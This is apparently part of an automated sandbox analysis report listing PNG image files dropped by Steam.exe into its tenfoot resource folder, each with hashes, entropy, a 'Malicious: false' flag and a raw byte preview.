Preview:	.PNG........IHDR..............+yr....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:D3FF37ECC43911E48300F0F8D6D17FB5" xmpMM:DocumentID="xmp.did:D3FF37EDC43911E48300F0F8D6D17FB5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D3FF37EAC43911E48300F0F8D6D17FB5" stRef:documentID="xmp.did:D3FF37EBC43911E48300F0F8D6D17FB5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...'....IDATx..m..<l.A.^$..Ar..$..MF....K...dKc.jkmy><2.5......._.G.}.......o_.G...=..>.h.........7.}.B<.h.yC.....+

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\community\item_image_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 125 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	993
Entropy (8bit):	6.083986947874572
Encrypted:	false
SSDEEP:
MD5:	665F34E4F4FFB47FD206BE3959B0D5C4
SHA1:	71096E72381EA99E77B7D51E676C8348B7674019
SHA-256:	BB9BD6F58DA200220EA360E1284D3368E2F2DBBBB4DB48F7071FF0A9FF5BF437
SHA-512:	BB0C76293B3629946CB4A329B65E85D60DDB1B5FF300C16F9E057C119274B8BBF2FE286FF8B15A84AE2BEFF0DBA3F298C3299ABD9BB41C7CF223448008EC9106
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...}..........`......tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:7C3CC2E15E4411E5B43AA6BB3AA453FF" xmpMM:DocumentID="xmp.did:7C3CC2E25E4411E5B43AA6BB3AA453FF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7C3CC2DF5E4411E5B43AA6BB3AA453FF" stRef:documentID="xmp.did:7C3CC2E05E4411E5B43AA6BB3AA453FF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>:......UIDATx..K..!.C..o..........K....w.5..-......VbJ\N-.2)}....Y..roo..2...\.b.?..`...M../o.....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_battery_1.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3656
Entropy (8bit):	7.883515351001302
Encrypted:	false
SSDEEP:
MD5:	F25AAEE87616665FDE4B45416B495D5C
SHA1:	5BC39C074E97273F15CE0AF6B7CD6FD7A2A06C3C
SHA-256:	9DFB32AC980F039DFDD6148F4A16F7DBC6D88318BB39F96DA694C2CDB4B91BC9
SHA-512:	1D2B70DE484F83FE723F4B8A434FA5949BF5F7D84E0533E4062C0CDD75A7DD3D0A65F9DCA580AA76775B6A9B6A8890D5C5D81C480A3F780F448A447CA2D97186
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_battery_2.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3672
Entropy (8bit):	7.885647340251372
Encrypted:	false
SSDEEP:
MD5:	CE2B2872658C9040B82171B404E08A4C
SHA1:	EBD5661DB60C187A726A9B7C1DA04A1B838423E6
SHA-256:	146141EAA7AEFD00DC4774AE06E4DC94E1C1B64B5B3F769F589881231F358C4F
SHA-512:	58BEB509B89BA415173F9572840789514DA8F18C00DFDA0F6E58ADFA496F2BC4E23FB044DC9D721D719985E75391BEBFC35E2B42FDD811C34EC43E0BB6594B22
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_battery_3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3692
Entropy (8bit):	7.8924563192625055
Encrypted:	false
SSDEEP:
MD5:	C53652B8170AE47A0C22A9F3245112DB
SHA1:	F9109C7C1EAD50760AD60FFEEC7AE74A99984308
SHA-256:	0465ACBE71A83D066A60E5561E2E3BBE702FEB4AC33FBE92BE5686FA9C327001
SHA-512:	1F1C2A4FD55CF3761DE9D83B22D4313F67F7221FD403D8B2EF6224E2E0594AAE6FC0BA4C7B1D7B33893E6C7DE8B2E2C8D1F5CF1B0838EC133E9A154D690E652C
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_battery_4.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3735
Entropy (8bit):	7.903939177668445
Encrypted:	false
SSDEEP:
MD5:	3FC2A1FCE21FC308DB9ED0F77C50071F
SHA1:	55F99B05F3C49EE42BD6E5B473EB01D8F318535D
SHA-256:	4B2C9CA5171874253F81F696822E8EFB8A95CCDFDFDE11BF762098B729209E49
SHA-512:	77D44D43E738AA50FDD74211846D925B99B75776F8680BB807BE0AFA568B885AB2AAC25C55D8AA11A1B113534D662756B68E0D4EFD740F73D81D8DFC5F8BFB42
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_generic_nobattery.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3817
Entropy (8bit):	7.910039992237952
Encrypted:	false
SSDEEP:
MD5:	401D04C1DFA5425F74BDAEA7EBE40C2E
SHA1:	69024366F9B5767F9900B318FB8A8DC6CE3E5A6A
SHA-256:	AC604883A1DB8B5E938F1AC568E17EE4354277F67BA0AE61E9E45F59D8C75A96
SHA-512:	6096E36680A0CAACBEC4968A9AF348A1AEE625C8F5200D8D403741E67F63E7928F31FA174C0B979F675936CAE4AF3EF1B7BACC9E723D8A2A5E1C5854868D2BC8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_android.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5393
Entropy (8bit):	7.926561423186454
Encrypted:	false
SSDEEP:
MD5:	CA740F6937E5A31B3A0B73FAC8A1E0FA
SHA1:	6AC09961DA56EF16246EF912281BF4F47BA9D805
SHA-256:	D60671AB8B6868AB44737A73C370272E7864F4709C4B6DCA48A7B4D04D227C98
SHA-512:	5B4AE3974BF1AA88EF31C78847BAFFA339E0CB0E1DA55C0FE4319F033AB29B635F1CD466EC6C6ED24741AD4ADB6D2A5BC1C7BA6283580FB555B4863B2BC64F5D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_apple.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5393
Entropy (8bit):	7.926561423186454
Encrypted:	false
SSDEEP:
MD5:	CA740F6937E5A31B3A0B73FAC8A1E0FA
SHA1:	6AC09961DA56EF16246EF912281BF4F47BA9D805
SHA-256:	D60671AB8B6868AB44737A73C370272E7864F4709C4B6DCA48A7B4D04D227C98
SHA-512:	5B4AE3974BF1AA88EF31C78847BAFFA339E0CB0E1DA55C0FE4319F033AB29B635F1CD466EC6C6ED24741AD4ADB6D2A5BC1C7BA6283580FB555B4863B2BC64F5D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_fightstick.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3604
Entropy (8bit):	7.874885354336302
Encrypted:	false
SSDEEP:
MD5:	F7D584E328FD8584CD6F2B1D7BE4C1A7
SHA1:	5D6D18525300F43F86C4A0489EFFD7833D9D545E
SHA-256:	11C8213513FCC9C787BBF3549BC7EA294BC7305D8BE367DBC744C1578E240D72
SHA-512:	6F9A903A1A64EFA483EBDA15C2E111137C340A4FE3E8530BB2ED7EDB0A60F0E45ADB23CA70F0E7593E125156F8A3D0DBACBBAEB1D616357AD371D2A4B4404B6F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_mobile_touch.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	981
Entropy (8bit):	7.508040387862887
Encrypted:	false
SSDEEP:
MD5:	D8287593F90100F1154E8D25E163F215
SHA1:	D5A7786BC45C852CC4AA8DF148F7F37EF95BCF34
SHA-256:	C3D23097C7CBD03F6607372ADBA743F1CC0E4347E81E6FDDBBE4C586BFCF764C
SHA-512:	FA9B81178BF7CBD4A67E8E6A5BE6797994C0DD6416C97ACE2FE0A33ADA6663A9D75063EC27B71BE84C6E52A18A8B3FB7EA2DA76399C3E3E3177382718853586E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....bKGD..............pHYs.........B(.x....tIME.......p0.....bIDATx.....u....w.C%....."!.P$VF#"Q......,...;[..F._.Cge.A.(....D.I..D"$....p>..X...........U....{..3..3 I.$I..Q...$..E.A`.X.TM.....)..p..~.X.$w...]..T..^..7..8...1...y...TU..-p...'.M.og...C..\|.XpN;.g`[U...A.I.5n']..8...'...ZL.f...;..u#.}....c...g-p}....p..n?...*.)..vG..=.\|..l.x0.s...~3..e`.X...e`...2..,...2..l`..Z.`....\e.K.<A%I......h.X...$....`3...x...s..:u.A5..a..INe..H....<..k...n9.d.G...\|.x..C{..SU.=.j......x.x...>...%.........ng..q....1p;{ge..n.....].....jD.1...$.b..Vm0p;.4...:=....+m.....l`.X...e`.X.6..,...2..,..X...e`.X...e`...2..,...2...+M...).j...U.4../q._...V.B8....].9wd.~.>.4.;..NC..W...]...I.z ...U.-...]@...LU}....vZ.....3..$..O.......n}.....}.8..G.h.X...e`.X....5....I5..Zv..\|..3.C]v...\|....`F.....v........u.+...>??..a...w\..W.........}..WU.]..W.O.....<.\|l.w][M+yc..I~.........'.z+..<....<..]f.E.....U..%$I.$IRo...E.,........IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_neptune.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 36 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	303
Entropy (8bit):	6.770532227257764
Encrypted:	false
SSDEEP:
MD5:	3AB54F4DF8DE4624D06DAEB47781BFAB
SHA1:	00FA2F21432C28A55B732C81D18AAD827D05FB64
SHA-256:	DD2B646941E2DA1ADA967603B377018B0CC80FEDEA5C5CF094AFD5512EE52403
SHA-512:	74EDAD4FC09BC2D5A7490C8680FB117C04D766C5DA73E8DC3B1AD1F5A450709FF1AF26DE24DD4A369A8468B6C007BE1714603E0CC550C21595468022E7D4AF48
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...$...$.............pHYs..........o.d....tEXtSoftware.www.inkscape.org..<.....IDATX.....0.........M..=...ha.F.I......X...+.}Ur.t.'..c..q.......r..NR.l....'I.N8.\..~;...X.9.}.......I&...P2....J.~C..4......]..K.z..t.......$.8........+..xB...:#..t...n..6d.~5zc.Y.;8.....9.....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_ps3.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5413
Entropy (8bit):	7.937164956652364
Encrypted:	false
SSDEEP:
MD5:	062B86385C7523383ED546A48912E0D8
SHA1:	038A849FE75DCE983B3E3B84418F3B6ABEF9F0C6
SHA-256:	485BAF3A9435EB55F08B6394DE53E5E1646C6918CEFFA1EC7EF25A91D9559720
SHA-512:	294DC6735C5E423FE3C54A7550539E51DA3530B18DD08A0A2FDA0E52108D9AD4B536599B9B40FFEC5893BECE5CBCE207A211DE07FDB151C8FCAF7257385EA15F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_ps4.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5105
Entropy (8bit):	7.928752892736607
Encrypted:	false
SSDEEP:
MD5:	4064C3DE32CB3ECC83201296A5622CF2
SHA1:	55A21A605FEE65B673F95A6001DE9C6ECAA2954C
SHA-256:	2E1D397873C822C8DA9CF56D917F93797F044F0C1C3A8310FF05C7E8E51650DF
SHA-512:	124B4A253C5E4AAAC355270037E8E78999493434013A78064766D6A20E2A18AE9C718DF371718276C8A112CD6F7E9622CA86C1FC512112ED5D3EF5B013F51E54
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_ps5.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2258
Entropy (8bit):	7.857894769180394
Encrypted:	false
SSDEEP:
MD5:	2AA0384368D1B47C6EF7B2FA01DBF829
SHA1:	7A10DFFC571A1CBD34B96725AB64F11A11C17CF9
SHA-256:	2D4D133E07CCBDFCC67120F3FA4EE3E17374A9E6CDD4A12C3EACB309DFC48C6A
SHA-512:	A93A5A6FF9DE68978BBDA561E5FD30067B6263C356DAE08B04A4F668AC16222AB1D56EE2F426130D68561E9EEBB8A0C0D58C00CA73DE3E962089B3BFD593ABD5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...x...x.....9d6.....pHYs.................sRGB.........gAMA......a....gIDATx...u.(......9..T...+...{..`...T.{..W.6..W.t.l..9.... ......=...!..0.H.`..a..a..a..a..a..a..a..a..a..a..a..a..a...."...d..........B.e/U..F.j.Gu.03'0..r+y ....ONN...w.f D/.[.......#.1......\.....@.d~..1 +^.z...j.f.W.T.y..z...2.a[....BM..K....Vy.py\...1.=d.7..x.Z...c.....)d&..e.<.v\..P.......L.4.f4...X.......;..@k.Q.FB..?.<v..zD.m.C....U.!......-Y.2...qP....s./t....CY.w...a..H.`l.C..0..&.X....F.^..j.....\|.>..f5.....I.oj.U.n..~.M...#..q....;$..{o..c.2....l..R.u..q..QG...2k.......y,..5...:A.e..Pa.F.8..9..+U.1N-.=.....$..e.h...2....Y..,K.A.7.4.....F..9..d.Q......GZ.3Y.8..;).\.%..,O.&LAR.S.s....t...U.o..&<._H"`..W$...........%......nd}.]B....'..UX{.'Na..,).M.45..l..Z.T..iM'.....(s TY*#...L..y..OjlE...^9.j!.b..'.i+[~...1.a..B.e..{L..S...7.....s....M.9.o......w...B...0...~<...u.....i...."}c....}..ph..}.H...slwC..#me..?.2.S.sQ......&&.X.8.O....&...vB.2.H.......j...'..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\controller_icon_steamcontroller.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5602
Entropy (8bit):	7.937081329009174
Encrypted:	false
SSDEEP:
MD5:	C2CCEF305692D32D1F252E89B9AF7FED
SHA1:	021C419B0F6106569AFC67FC8D537F13CFB91247
SHA-256:	F4C3FE7DF1075477BA222B4B191C22BA3FA849C55CED60453583E8C4E1FD32B0
